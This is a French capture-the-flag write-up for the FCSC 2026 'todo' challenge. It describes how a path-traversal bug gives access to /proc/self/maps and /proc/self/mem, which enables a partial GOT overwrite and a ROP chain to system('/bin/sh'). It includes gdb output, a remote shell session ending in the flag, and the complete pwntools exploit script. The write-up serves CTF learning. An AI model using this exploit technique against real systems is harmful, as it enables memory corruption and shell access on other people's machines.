Challenge todo, ctf FCSC 2026
La programme propose de créer des listes sauvegardées dans un repertoire local ‘lists’. Chaque liste est un fichier contenant une succession de blocs. On peut afficher le contenu du fichier avec create_list(), et le modifier avec edit_list(). La fonction edit_list() prend un index, et modifie le character à [index*tailledubloc+1].
Il utilisera fseek(fp, offset: get_int() * 0x51 + 1, whence: 0) sans vérifier la taille du fichier.
Rapidement on voit que l’on peut ouvrir n’importe quel fichier en ‘local file inclusion’. Pas de flag.txt dans les repertoires alentours, ou à la racine, il fallait bien essayer. En guise de leak on va afficher /proc/self/maps pour trouver l’adresse de libc. Et en guise de vulnerabilité on va utiliser la fonction écriture pour modifier /proc/self/mem. Mais on est très contraint, on ne peut modifier qu’un octet à un offset modulo 0x51. De plus l’octet sera 0x58.
En manipulant /proc/self/mem on peut adresser toute la plage mémoire, en lecture/écriture qui plus est. On va partir sur un partial overwrite de l’adresse d’une fonction dans la GOT. Le problème est de trouver un gadget qui permet d’exploiter le contexte. En gros on prend l’adresse des fonctions et on regarde ce qu’il y a à offset & 0xfffff00 +0x58.
Le meilleur candidat que j’ai trouvé est fread(): 0x7343a0063de0 devient 0x7343a0063d58
[0x5dc33e3cd008] fread@GLIBC_2.2.5 → 0x7343a0063de0
0x7343a0063d58 <fputs+296>: nop DWORD PTR [rax+rax*1+0x0]
0x7343a0063d60 <fputs+304>: test eax,eax
0x7343a0063d62 <fputs+306>: je 0x7343a0063d80 <fputs+336>
0x7343a0063d64 <fputs+308>: sub eax,0x1
0x7343a0063d67 <fputs+311>: mov DWORD PTR [rdi+0x4],eax
0x7343a0063d6a <fputs+314>: add rsp,0x8
0x7343a0063d6e <fputs+318>: mov eax,ebp
0x7343a0063d70 <fputs+320>: pop rbx
0x7343a0063d71 <fputs+321>: pop rbp
0x7343a0063d72 <fputs+322>: pop r12
0x7343a0063d74 <fputs+324>: pop r13
0x7343a0063d76 <fputs+326>: ret
Le problème c’est qu’avec l’ASLR le dernier byte de fread() n’est pas toujours sur un modulo 0x51 . On va donc spammer le lancement jusqu’à obtenir un adressage qui nous convient (elf.got.fread-1)%0x51==0). En appelant fread() le programme tombe dans la fin de la fonction puts(). Le contexte est interessant, dans la pile on a le contenu du dernier fichier lu. Avant le partial overwrite il faut donc créer un fichier avec notre ROP et le lire. Et on découvre que le fichier flag.txt était dans un repertoire à la racine avec un nom impossible à devenir.
[+] Opening connection to challenges.fcsc.fr on port 2210: Done
[+] elf.address 0x5af3d31a1000
[+] libc.address 0x7b19d7e79000
[*] elf.got.fread 0x5af3d31a5008
[*] (elf.got.fread-1)%0x51 0x0
[+] ptr 0x11f74624cd7
targeting 0x5af3d31a5008
gadget 0x7b19d7f56f43
[*] Loaded 5 cached gadgets for './todo_patched'
[*] Loaded 204 cached gadgets for './libc.so.6'
0x0000: 0x7b19d7ea3145 pop rdi; ret
0x0008: 0x7b19d801fea4 [arg0] rdi = 135350928408228
0x0010: 0x7b19d7ecc110 system
[*] Switching to interactive mode
Linux todo 6.18.20-metal-hardened-pwn #1 SMP Sun Mar 29 21:23:43 UTC 2026 x86_64 GNU/Linux
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cd /
$ ls -al
total 84
drwxr-xr-x 1 root root 4096 Apr 6 13:56 .
drwxr-xr-x 1 root root 4096 Apr 6 13:56 ..
-rwxr-xr-x 1 root root 0 Apr 6 13:56 .dockerenv
d-wx------ 158 ctf ctf 3160 Apr 7 19:34 app
lrwxrwxrwx 1 root root 7 Jan 2 12:35 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Jan 2 12:35 boot
drwxr-xr-x 5 root root 320 Apr 6 13:56 dev
drwxr-xr-x 1 root root 4096 Apr 6 13:56 etc
drwxr-xr-x 2 root root 4096 Apr 6 13:55 flag_2098a0319027738551eaa3936fd73a2d
drwxr-xr-x 2 root root 4096 Jan 2 12:35 home
lrwxrwxrwx 1 root root 7 Jan 2 12:35 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Jan 2 12:35 lib64 -> usr/lib64
drwxr-xr-x 2 root root 4096 Feb 2 00:00 media
drwxr-xr-x 2 root root 4096 Feb 2 00:00 mnt
drwxr-xr-x 2 root root 4096 Feb 2 00:00 opt
dr-xr-xr-x 339 nobody nogroup 0 Apr 6 13:56 proc
drwx------ 2 root root 4096 Feb 2 00:00 root
drwxr-xr-x 3 root root 4096 Feb 2 00:00 run
-r-x------ 1 ctf ctf 344 Apr 6 13:55 run.sh
lrwxrwxrwx 1 root root 8 Jan 2 12:35 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Feb 2 00:00 srv
dr-xr-xr-x 11 nobody nogroup 0 Apr 6 13:56 sys
drwxrwxrwt 1 root root 4096 Apr 6 13:55 tmp
-r-x------ 1 ctf ctf 16736 Apr 6 13:55 todo
drwxr-xr-x 1 root root 4096 Feb 2 00:00 usr
drwxr-xr-x 1 root root 4096 Feb 2 00:00 var
$ cd flag_2098a0319027738551eaa3936fd73a2d
$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr 6 13:55 .
drwxr-xr-x 1 root root 4096 Apr 6 13:56 ..
-r-------- 1 ctf ctf 71 Apr 6 13:55 flag.txt
$ cat flag.txt
FCSC{a49a7483a426aff34766f251dca37563fa897b1fd5bd1b7e2b0a9078f09e4959}
- mandragore, 2026/4/9
from pwn import *
context.arch = 'amd64'
#context.terminal = ['tmux', 'splitw', '-h']
if args.DBG:
context.log_level = 'debug'
else:
context.log_level = 'info'
elf = ELF('./todo_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
def findgoodbase():
while True:
if args.REMOTE:
p = remote('challenges.fcsc.fr', 2210)
else:
p = process(elf.path)
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'../../../../../../../../proc/self/maps')
leak=p.recvuntil(b'Choose')
for line in leak.split(b'\n'):
if elf.address==0:
elf.address=int(line.split(b'-')[0],16)
if b'libc' in line and libc.address==0:
libc.address=int(line.split(b'-')[0],16)
break
log.success(f'elf.address {elf.address:#x}')
log.success(f'libc.address {libc.address:#x}')
log.info(f'elf.got.fread {elf.got.fread:#x}')
log.info(f'(elf.got.fread-1)%0x51 {(elf.got.fread-1)%0x51:#x}')
if ((elf.got.fread-1)%0x51==0):
ptr=int((elf.got.fread-1)//0x51)
log.success(f'ptr {ptr:#x}')
return p,ptr
p.close()
elf.address=0
libc.address=0
p,ptr=findgoodbase()
print(f'targeting {ptr*0x51+1:#x}')
rop=ROP([elf,libc])
rop.system(next(libc.search(b'/bin/sh')))
payload={
0: b'x\0',
0x1c: rop.chain()
}
print(rop.dump())
# créer
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b'> ',b'test')
p.sendlineafter(b'] ',fit(payload))
p.sendlineafter(b'] ',b'')
# lire le ROP dans la pile
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'test')
# partial got overwrite
p.sendlineafter(b'> ',b'3')
p.sendlineafter(b'> ',b'../../../../../../../../proc/self/mem')
p.sendlineafter(b'> ',str(ptr).encode())
# pause() # local gdb -p `pidof todo_patched` ; got ; break *nouveaufread
# déclenche le fread() empoisonné
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b'> ',b'test')
sleep(0.5) # ne pas envoyer les deux lignes en même temps
p.sendline(b'uname -a;cat flag.txt')
p.interactive()